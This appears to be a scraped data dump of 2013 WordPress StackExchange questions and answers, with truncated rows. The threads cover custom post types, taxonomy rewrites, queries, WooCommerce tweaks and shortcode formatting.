109,214 | <p>I've got a custom post type called "properties" and two custom taxonomies called "type" (office space, retail space, etc.) and "location" (new york, chicago, etc.).</p>
<p>I have created "archive-properties.php" which works beautifully when I go to "mysite.com/properties." And I have "single-properties.php" which w... | [
{
"answer_id": 109226,
"author": "vancoder",
"author_id": 26778,
"author_profile": "https://wordpress.stackexchange.com/users/26778",
"pm_score": 1,
"selected": false,
"text": "<p>taxonomy-properties.php makes no sense, as properties is your CPT, not your taxonomy.</p>\n\n<p>Try creating... | 2013/08/06 | [
"https://wordpress.stackexchange.com/questions/109214",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35894/"
] | I've got a custom post type called "properties" and two custom taxonomies called "type" (office space, retail space, etc.) and "location" (new york, chicago, etc.).
I have created "archive-properties.php" which works beautifully when I go to "mysite.com/properties." And I have "single-properties.php" which works great... | The way taxonomies work with rewrites, is that they have a 'slug'. Look at the codex under register\_taxonomy, you will see the 'rewrite' argument. Supply it with `array( 'slug' => 'properties/location' )` and refresh your permalinks. Otherwise, it's looking for the following:
`mysite.com/property_location/office-spac... |
109,243 | <p>Hey guys I've created this post type but when I click the publish button I receive the message:</p>
<blockquote>
<p>You are not allowed to edit this post.</p>
</blockquote>
<p>Have I done something wrong in my code to disallow anyone from publishing a post of this custom type? Here's the code:</p>
<pre><code>&... | [
{
"answer_id": 109246,
"author": "hawkidoki",
"author_id": 31852,
"author_profile": "https://wordpress.stackexchange.com/users/31852",
"pm_score": -1,
"selected": false,
"text": "<p>Here is a working custom_post_type declaration. Try to modify it to fit your needs :)</p>\n\n<pre><code>fu... | 2013/08/06 | [
"https://wordpress.stackexchange.com/questions/109243",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/34692/"
] | Hey guys I've created this post type but when I click the publish button I receive the message:
>
> You are not allowed to edit this post.
>
>
>
Have I done something wrong in my code to disallow anyone from publishing a post of this custom type? Here's the code:
```
<?php
function image_post_type(){
$labels... | The default for `map_meta_cap` is actually ***not*** ***false*** if you're also passing in a `capability_type` of `post` or `page`, which you are.
The following code is in [Wordpress Core's post.php](http://core.trac.wordpress.org/browser/trunk/src/wp-includes/post.php#L1205):
```
// Back compat with quirky handling ... |
109,275 | <p>I have a custom category page with the following query:</p>
<pre><code>$args = array(
'cat' => $portfolioCategories,
'posts_per_page' => $itemsPerPage,
'orderby' => 'menu_order date',
'order' => 'DESC',
'paged' => $paged
);
q... | [
{
"answer_id": 109279,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>This should help:</p>\n\n<p>You can use multiple fields in <code>orderby</code> argument. Codex <a hre... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109275",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1118/"
] | I have a custom category page with the following query:
```
$args = array(
'cat' => $portfolioCategories,
'posts_per_page' => $itemsPerPage,
'orderby' => 'menu_order date',
'order' => 'DESC',
'paged' => $paged
);
query_posts( $args );
```
So... | This should help:
You can use multiple fields in `orderby` argument. Codex [shows you](http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters) how to do it (and you do it correctly):
```
$query = new WP_Query( array( 'post_type' => 'page', 'orderby' => 'menu_order date', 'order' => 'ASC' ) )... |
109,290 | <p>I want to add upload image button for the images and retrieve url.
Can someone pls help me, i have been trying this for quite a few days. I'm using code from this thread <a href="https://wordpress.stackexchange.com/questions/19838/create-more-meta-boxes-as-needed">Create more Meta Boxes as needed</a>. </p>
<pre><co... | [
{
"answer_id": 109279,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>This should help:</p>\n\n<p>You can use multiple fields in <code>orderby</code> argument. Codex <a hre... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109290",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36040/"
] | I want to add upload image button for the images and retrieve url.
Can someone pls help me, i have been trying this for quite a few days. I'm using code from this thread [Create more Meta Boxes as needed](https://wordpress.stackexchange.com/questions/19838/create-more-meta-boxes-as-needed).
```
add_action( 'add_meta_... | This should help:
You can use multiple fields in `orderby` argument. Codex [shows you](http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters) how to do it (and you do it correctly):
```
$query = new WP_Query( array( 'post_type' => 'page', 'orderby' => 'menu_order date', 'order' => 'ASC' ) )... |
109,312 | <p>I have a wordpress theme and in the header.php file it is displaying menus through this line :</p>
<pre><code>wp_nav_menu( 'theme_location=menu_2&menu_id=nav&container=&fallback_cb=menu_2_default');
</code></pre>
<p>Now if I hover some menu item, it displays submenus items. I just want to change the la... | [
{
"answer_id": 109279,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 3,
"selected": true,
"text": "<p>This should help:</p>\n\n<p>You can use multiple fields in <code>orderby</code> argument. Codex <a hre... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109312",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36344/"
] | I have a wordpress theme and in the header.php file it is displaying menus through this line :
```
wp_nav_menu( 'theme_location=menu_2&menu_id=nav&container=&fallback_cb=menu_2_default');
```
Now if I hover some menu item, it displays submenus items. I just want to change the layout of the submenu items section or d... | This should help:
You can use multiple fields in `orderby` argument. Codex [shows you](http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters) how to do it (and you do it correctly):
```
$query = new WP_Query( array( 'post_type' => 'page', 'orderby' => 'menu_order date', 'order' => 'ASC' ) )... |
109,343 | <p>Let's say you want all pages to have a common footer, and have that footer editable in WordPress; how would you accomplish this?</p>
<p>My current solution is to create a page "footer" and include it using custom template function.</p>
<p>But I am wondering if there is a better way to do it, without requiring cus... | [
{
"answer_id": 109504,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>If this text was static, then of course you could use custom footer template. So create file <code>fo... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109343",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/16037/"
] | Let's say you want all pages to have a common footer, and have that footer editable in WordPress; how would you accomplish this?
My current solution is to create a page "footer" and include it using custom template function.
But I am wondering if there is a better way to do it, without requiring custom coding.
As an... | If this text was static, then of course you could use custom footer template. So create file `footer-my-custom.php` and then include it with `get_footer('footer', 'my-custom');`
If you want to edit this text in wp-admin (or have many editable texts in there) you can use one of these solutions:
1. Custom Fields (good ... |
109,356 | <p>I have this problem that I am encountering. I am trying to sort my categories to display in the order that I want them to. I have read the WordPress documentation on all of the sort options. However, there is no inclination of how to choose the categories and make them flow the way I want. </p>
<p>This is what the ... | [
{
"answer_id": 109361,
"author": "Wayne Hatter Jr.",
"author_id": 17298,
"author_profile": "https://wordpress.stackexchange.com/users/17298",
"pm_score": 2,
"selected": false,
"text": "<p>Okay, I found this plugin that does exactly what I want. I didn't want to use a plugin but this one ... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109356",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/17298/"
] | I have this problem that I am encountering. I am trying to sort my categories to display in the order that I want them to. I have read the WordPress documentation on all of the sort options. However, there is no inclination of how to choose the categories and make them flow the way I want.
This is what the Codex pres... | If you're already using [Advanced Custom Fields](http://www.advancedcustomfields.com/) (which you should be!) you can create an order field for your categories from which you can set them manually in numerical order.
Then all you have to do is:
```
$categories = get_categories( $args );
usort($categories, functio... |
109,358 | <p>There is some problem with my wordpress website, instead of [...] I am getting [&hellip everywhere.
I have changed the charset to UTF-8 but the problem persists. Any help would be appreciated.</p>
<p>Here is the link to the website : <a href="http://theappjuice.com/" rel="nofollow">http://theappjuice.com/</a><... | [
{
"answer_id": 110248,
"author": "misterrita",
"author_id": 36687,
"author_profile": "https://wordpress.stackexchange.com/users/36687",
"pm_score": 2,
"selected": false,
"text": "<p>I was super-frustrated by this issue (and disappointed the OP didn't let us in on how he fixed it, since I... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109358",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24020/"
] | There is some problem with my wordpress website, instead of [...] I am getting [&hellip everywhere.
I have changed the charset to UTF-8 but the problem persists. Any help would be appreciated.
Here is the link to the website : <http://theappjuice.com/> | I was super-frustrated by this issue (and disappointed the OP didn't let us in on how he fixed it, since I can see on his site that he did... Maybe he just changed themes?).
FWIW, the ellipses were at one time displaying correctly. But, some upgrade must have broken it.
My excerpts were displayed like this:
```
... |
109,360 | <p>On my site, people can link to non-existing posts, which is fine because that's the whole structure on my site... The problem is that you get 404 errors, which is not good for SEO. Is there a way in Wordpress to avoid 404 pages? So if a post not exists, that you can do else instead of sending to Google that it's a 4... | [
{
"answer_id": 109374,
"author": "Michael Dozark",
"author_id": 23464,
"author_profile": "https://wordpress.stackexchange.com/users/23464",
"pm_score": 2,
"selected": false,
"text": "<p>One way to do this is to use the <a href=\"http://codex.wordpress.org/Function_Reference/status_header... | 2013/08/07 | [
"https://wordpress.stackexchange.com/questions/109360",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32731/"
] | On my site, people can link to non-existing posts, which is fine because that's the whole structure on my site... The problem is that you get 404 errors, which is not good for SEO. Is there a way in Wordpress to avoid 404 pages? So if a post not exists, that you can do else instead of sending to Google that it's a 404 ... | One way to do this is to use the [status\_header](http://codex.wordpress.org/Function_Reference/status_header) filter. Adding the following to the functions.php file or your theme (or an appropriate plugin file) would do the trick:
```
add_filter( 'status_header', 'your_status_header_function', 10, 2 );
/**
* Substi... |
109,381 | <p>On my site, users can view content on the blog or on a cartoon index page. Both these pages aggregate posts and custom post-types. The cartoon index differs in that it has an image slider before blog-style content. We want to create tag.php pages that take into account whether a person is in the cartoon archive or i... | [
{
"answer_id": 109374,
"author": "Michael Dozark",
"author_id": 23464,
"author_profile": "https://wordpress.stackexchange.com/users/23464",
"pm_score": 2,
"selected": false,
"text": "<p>One way to do this is to use the <a href=\"http://codex.wordpress.org/Function_Reference/status_header... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109381",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33973/"
] | On my site, users can view content on the blog or on a cartoon index page. Both these pages aggregate posts and custom post-types. The cartoon index differs in that it has an image slider before blog-style content. We want to create tag.php pages that take into account whether a person is in the cartoon archive or in t... | One way to do this is to use the [status\_header](http://codex.wordpress.org/Function_Reference/status_header) filter. Adding the following to the functions.php file or your theme (or an appropriate plugin file) would do the trick:
```
add_filter( 'status_header', 'your_status_header_function', 10, 2 );
/**
* Substi... |
109,388 | <p>I recently got some help here on getting a few posts to display in block format. I was wondering if someone could assist me with modifying the code to limit the posts that show up either by category or by tag. I've listed the code below:</p>
<pre><code><div id="mini_stream">
<ul>
<? $args = array... | [
{
"answer_id": 109374,
"author": "Michael Dozark",
"author_id": 23464,
"author_profile": "https://wordpress.stackexchange.com/users/23464",
"pm_score": 2,
"selected": false,
"text": "<p>One way to do this is to use the <a href=\"http://codex.wordpress.org/Function_Reference/status_header... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109388",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22961/"
] | I recently got some help here on getting a few posts to display in block format. I was wondering if someone could assist me with modifying the code to limit the posts that show up either by category or by tag. I've listed the code below:
```
<div id="mini_stream">
<ul>
<? $args = array(
'post_type' => 'post',
... | One way to do this is to use the [status\_header](http://codex.wordpress.org/Function_Reference/status_header) filter. Adding the following to the functions.php file or your theme (or an appropriate plugin file) would do the trick:
```
add_filter( 'status_header', 'your_status_header_function', 10, 2 );
/**
* Substi... |
109,404 | <p>I know many posts is on the site about this but I can't understand how it work.</p>
<p>This SQL works.</p>
<pre><code>SELECT wp_category.id, wp_ogloszenia_kupione.kategoria, klient_id
FROM wp_category
JOIN wp_ogloszenia_kupione ON (wp_ogloszenia_kupione.kategoria = wp_category.id);
</code></pre>
<p>How this t... | [
{
"answer_id": 109405,
"author": "David Gard",
"author_id": 10097,
"author_profile": "https://wordpress.stackexchange.com/users/10097",
"pm_score": 0,
"selected": false,
"text": "<p>Providing your query is actually good, it should be as simple as this -</p>\n\n<pre><code>global $wpdb;\n\... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109404",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33913/"
] | I know many posts is on the site about this but I can't understand how it work.
This SQL works.
```
SELECT wp_category.id, wp_ogloszenia_kupione.kategoria, klient_id
FROM wp_category
JOIN wp_ogloszenia_kupione ON (wp_ogloszenia_kupione.kategoria = wp_category.id);
```
How this translate to Wordpress `$wpdb`? | There are few things you should remember when you're using SQL in WordPress. The most important, I guess, would be table prefix.
So your query should look something like this:
```
global $wpdb;
$sql = "SELECT kategorie.id, ogloszenia.kategoria, klient_id ".
"FROM {$wpdb->prefix}category kategorie ".
"JOIN {$... |
109,409 | <p>im using Woocommerce and searching for a way to hide the "Add to cart"-Button on<br>
a single-Product page <strong>IF</strong> the product is for free - I'm making a big CSV-Import and some product-prices are set to zero - i just want to hide the "add to cart" button on these products, so these are not buyable. </p>... | [
{
"answer_id": 109474,
"author": "Alex Reds",
"author_id": 36398,
"author_profile": "https://wordpress.stackexchange.com/users/36398",
"pm_score": 0,
"selected": false,
"text": "<p>As far as I understood your problem.. woocommerce has an option when you don't put any price, there will be... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109409",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36383/"
] | im using Woocommerce and searching for a way to hide the "Add to cart"-Button on
a single-Product page **IF** the product is for free - I'm making a big CSV-Import and some product-prices are set to zero - i just want to hide the "add to cart" button on these products, so these are not buyable.
already asked this ... | Look at the beginning of the add to cart templates in WooCommerce. At the beginning there is a check to determine whether the product is purchasable. Inside the `is_purchasable()` method in the product class is a filter. By default the product is not purchasable if there is no price set at all, but that can be extended... |
109,455 | <p>I'm trying to exclude products from two specific categories from showing up in the related products on the content single products page. The closest idea I have stumbled upon is this code from <a href="http://docs.woothemes.com/document/exclude-a-category-from-the-shop-page/" rel="nofollow">http://docs.woothemes.com... | [
{
"answer_id": 109458,
"author": "JMau",
"author_id": 31376,
"author_profile": "https://wordpress.stackexchange.com/users/31376",
"pm_score": 2,
"selected": false,
"text": "<p>When developing with <code>WooCommerce</code> just look into plugin files. I found a file named <code>related.ph... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109455",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36394/"
] | I'm trying to exclude products from two specific categories from showing up in the related products on the content single products page. The closest idea I have stumbled upon is this code from <http://docs.woothemes.com/document/exclude-a-category-from-the-shop-page/>. Any idea how to modify it for related products and... | Old question, but ranks high in Google. Here's a solution that works with today's Woocommerce.
Add this to your functions.php or custom plugin.
```
function exclude_brands_from_related( $categories ){
// array of category id's that should be excluded
$exclude_cats = array( '100', '101', '102');
foreach( ... |
109,459 | <p>I am just setting up my site but I have run in to a weird issue where the site seems to load perfectly fine on my computer but when I view it on a mobile device (iPhone/iPad) it appears to have none of the template files and none of the images are attached to posts etc.</p>
<p>Any thoughts what could be wrong?</p>
... | [
{
"answer_id": 109458,
"author": "JMau",
"author_id": 31376,
"author_profile": "https://wordpress.stackexchange.com/users/31376",
"pm_score": 2,
"selected": false,
"text": "<p>When developing with <code>WooCommerce</code> just look into plugin files. I found a file named <code>related.ph... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109459",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/17569/"
] | I am just setting up my site but I have run in to a weird issue where the site seems to load perfectly fine on my computer but when I view it on a mobile device (iPhone/iPad) it appears to have none of the template files and none of the images are attached to posts etc.
Any thoughts what could be wrong?
I might add i... | Old question, but ranks high in Google. Here's a solution that works with today's Woocommerce.
Add this to your functions.php or custom plugin.
```
function exclude_brands_from_related( $categories ){
// array of category id's that should be excluded
$exclude_cats = array( '100', '101', '102');
foreach( ... |
109,471 | <p>I'm trying to alter a feed for my plugin's custom post type to add lines for podcasting. Here is the code I've got right now:</p>
<pre><code>add_action ('init', 'my_plugin_init');
function my_plugin_init() {
if ( is_post_type_archive('my_plugin_custom_type') ) {
add_action('rss2_ns', 'my_plugin_podcas... | [
{
"answer_id": 109458,
"author": "JMau",
"author_id": 31376,
"author_profile": "https://wordpress.stackexchange.com/users/31376",
"pm_score": 2,
"selected": false,
"text": "<p>When developing with <code>WooCommerce</code> just look into plugin files. I found a file named <code>related.ph... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109471",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32110/"
] | I'm trying to alter a feed for my plugin's custom post type to add lines for podcasting. Here is the code I've got right now:
```
add_action ('init', 'my_plugin_init');
function my_plugin_init() {
if ( is_post_type_archive('my_plugin_custom_type') ) {
add_action('rss2_ns', 'my_plugin_podcast_ns');
}
}... | Old question, but ranks high in Google. Here's a solution that works with today's Woocommerce.
Add this to your functions.php or custom plugin.
```
function exclude_brands_from_related( $categories ){
// array of category id's that should be excluded
$exclude_cats = array( '100', '101', '102');
foreach( ... |
109,481 | <p>I've got a post format of Image, and I am running into an issue where the image is being wrapped by a <code><p></code> tag. I want to get rid of that tag (specifically on the <code>single.php</code> version) of those post types.</p>
<p>How can I get inside the formatting in a theme and remove the <code><p&... | [
{
"answer_id": 109483,
"author": "CreMedian",
"author_id": 23426,
"author_profile": "https://wordpress.stackexchange.com/users/23426",
"pm_score": 3,
"selected": false,
"text": "<p>If this post type is called \"image\", you can create a single template to handle the display of just the i... | 2013/08/08 | [
"https://wordpress.stackexchange.com/questions/109481",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36309/"
] | I've got a post format of Image, and I am running into an issue where the image is being wrapped by a `<p>` tag. I want to get rid of that tag (specifically on the `single.php` version) of those post types.
How can I get inside the formatting in a theme and remove the `<p>` tags, or create any format that I want for t... | By default, WordPress adds paragraph tags to category descriptions. Stop this by adding the following to your **functions.php** file
```
// Remove p tags from category description
remove_filter('term_description','wpautop');
```
**Simple and easy (codeless).**
Thank you |
109,494 | <p>The default for the theme I'm using is to have a white background for any post (the part with the text, not the background that forms the border around it) on my wordpress installation. Is there a way I can set the the background for all pages in one shot.</p>
<p>I've tried adding the following css:</p>
<pre><code... | [
{
"answer_id": 109483,
"author": "CreMedian",
"author_id": 23426,
"author_profile": "https://wordpress.stackexchange.com/users/23426",
"pm_score": 3,
"selected": false,
"text": "<p>If this post type is called \"image\", you can create a single template to handle the display of just the i... | 2013/08/09 | [
"https://wordpress.stackexchange.com/questions/109494",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36318/"
] | The default for the theme I'm using is to have a white background for any post (the part with the text, not the background that forms the border around it) on my wordpress installation. Is there a way I can set the the background for all pages in one shot.
I've tried adding the following css:
```
p
{
background: ... | By default, WordPress adds paragraph tags to category descriptions. Stop this by adding the following to your **functions.php** file
```
// Remove p tags from category description
remove_filter('term_description','wpautop');
```
**Simple and easy (codeless).**
Thank you |
109,560 | <p>I've written a little shortcode, following <a href="http://codex.wordpress.org/Shortcode_API" rel="nofollow">basic</a> instructions on Wordpress Codex: </p>
<pre><code>function myshortcode( $atts, $content = null ) {
extract( shortcode_atts( array(
...,
), $atts ) );
return some_html _code_here ... | [
{
"answer_id": 109562,
"author": "birgire",
"author_id": 26350,
"author_profile": "https://wordpress.stackexchange.com/users/26350",
"pm_score": 1,
"selected": false,
"text": "<p>You could try this one:</p>\n\n<pre><code>add_shortcode( 'myshortcode', 'myshortcode_callback' );\n\nfunction... | 2013/08/09 | [
"https://wordpress.stackexchange.com/questions/109560",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/20109/"
] | I've written a little shortcode, following [basic](http://codex.wordpress.org/Shortcode_API) instructions on Wordpress Codex:
```
function myshortcode( $atts, $content = null ) {
extract( shortcode_atts( array(
...,
), $atts ) );
return some_html _code_here . $content;
}
```
When I put
```
[my... | The `<br />` tags are being added to the content by the `wpautop()` function. If you run your shortcode before it runs they will not be there. It is added in `\wp-includes\default-filters.php` with the default priority of `10`.
```
add_filter( 'the_content', 'myshortcode', 1 );
function myshortcode( $atts, $content =... |